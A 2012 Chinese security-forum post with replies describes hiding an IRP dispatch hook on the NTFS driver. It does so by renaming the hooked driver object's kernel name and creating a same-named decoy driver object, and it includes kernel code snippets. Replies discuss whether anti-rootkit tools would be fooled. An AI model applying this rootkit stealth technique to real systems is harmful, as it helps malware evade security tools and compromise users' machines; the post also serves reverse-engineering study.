首页
论坛
课程
招聘
[原创]对象名字劫持,如何隐藏IRP DISPATCH HOOK
2012-2-11 22:37 10831

[原创]对象名字劫持,如何隐藏IRP DISPATCH HOOK

2012-2-11 22:37
10831
翻看大学写的代码,发现一段XXX代码,遂写成篇简单文章。
驱动程序中通过一个驱动对象名来获取对应的驱动对象通常是调用ObReferenceObjectByName,ObReferenceObjectByName的声明如下
NTSTATUS
ObReferenceObjectByName (
    __in PUNICODE_STRING ObjectName,
    __in ULONG Attributes,
    __in_opt PACCESS_STATE AccessState,
    __in_opt ACCESS_MASK DesiredAccess,
    __in POBJECT_TYPE ObjectType,
    __in KPROCESSOR_MODE AccessMode,
    __inout_opt PVOID ParseContext,
    __out PVOID *Object
    )
对象管理器就会根据ObjectName去遍历对应对象目录下的所有对象,看哪些对象的名字跟ObjectName匹配。那驱动对象的名字是存储在哪里呢?答案就是在
OBJECT_HEADER_NAME_INFO里面。
typedef struct _OBJECT_HEADER_NAME_INFO {
    POBJECT_DIRECTORY Directory;   //对象所属的路径
    UNICODE_STRING Name;//对象名
    ULONG QueryReferences;
} OBJECT_HEADER_NAME_INFO, *POBJECT_HEADER_NAME_INFO;

那这样修改对象名,那通过ObReferenceObjectByName就无法获取到正确的驱动对象了。下面介绍如何隐藏IRP DISPATCH HOOK。

1) 调用ObReferenceObjectByName获取\FileSystem\ntfs对应的驱动对象的指针pDrvObj
2)替换掉你想要替换的DISPACTH指针
3)修改\FileSystem\ntfs这个名字
        OBJECT_HEADER* lpObjectHeader = NULL;
        POBJECT_HEADER_NAME_INFO lpObjectNameInfo = NULL;
        UNICODE_STRING uniXX;
        RtlInitUnicodeString (&uniXX, L"Hello 123");       
        RtlCopyUnicodeString(&pDrvObj->DriverName,&uniXX);
        lpObjectHeader = OBJECT_TO_OBJECT_HEADER(pDrvObj);
        lpObjectNameInfo = (POBJECT_HEADER_NAME_INFO)((DWORD)lpObjectHeader - (DWORD)lpObjectHeader->NameInfoOffset);
        RtlCopyUnicodeString(&lpObjectNameInfo->Name,&uniXX);
4) 保存好原来的驱动对象信息
        RtlCopyMemory(&pDrvObject,pDrvObj,sizeof(DRIVER_OBJECT));
5)用IoCreateDriverc创建一个同名的驱动对象,初始化DISPACTH指针为原始指针
NTKERNELAPI
NTSTATUS
IoCreateDriver(
    __in_opt PUNICODE_STRING DriverName,
    __in PDRIVER_INITIALIZE  DriverEntry
    );

任务完成。其他用途自由发挥。

[注意] 欢迎加入看雪团队!base上海,招聘安全工程师、逆向工程师多个坑位等你投递!

收藏
点赞0
打赏
分享
最新回复 (9)
雪    币: 8670
活跃值: 活跃值 (770)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 活跃值 10 2012-2-11 23:11
2
0
部分ARK的作者没这么好骗。
雪    币: 727
活跃值: 活跃值 (60)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
Winker 活跃值 8 2012-2-13 13:15
3
0
有bin来测试下么。
雪    币: 49
活跃值: 活跃值 (16)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
邓韬 活跃值 9 2012-2-13 13:30
4
0
liner没那么好骗的,都曝光了
雪    币: 392
活跃值: 活跃值 (15)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
ImHolly 活跃值 1 2012-2-13 16:22
5
0
发出来就不好骗了.
通过符号链接什么的也能间接找到.
雪    币: 7683
活跃值: 活跃值 (395)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ytyay 活跃值 2012-2-15 23:37
6
0
学习    谢谢分享
雪    币: 113
活跃值: 活跃值 (89)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Fido 活跃值 2012-2-16 06:41
7
0
膜拜啊。。。首页留名呢....谢谢楼主分享.....
雪    币: 321
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pandaforum 活跃值 2012-2-16 09:25
8
0
这个方法很邪恶。
雪    币: 9
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wybx 活跃值 2012-2-16 09:35
9
0
哈哈 明白楼主最后一句话的真谛了
雪    币: 244
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
BoyXiao 活跃值 2012-2-27 12:05
10
0
谢谢楼主,暂且留名标记
游客
登录 | 注册 方可回帖
返回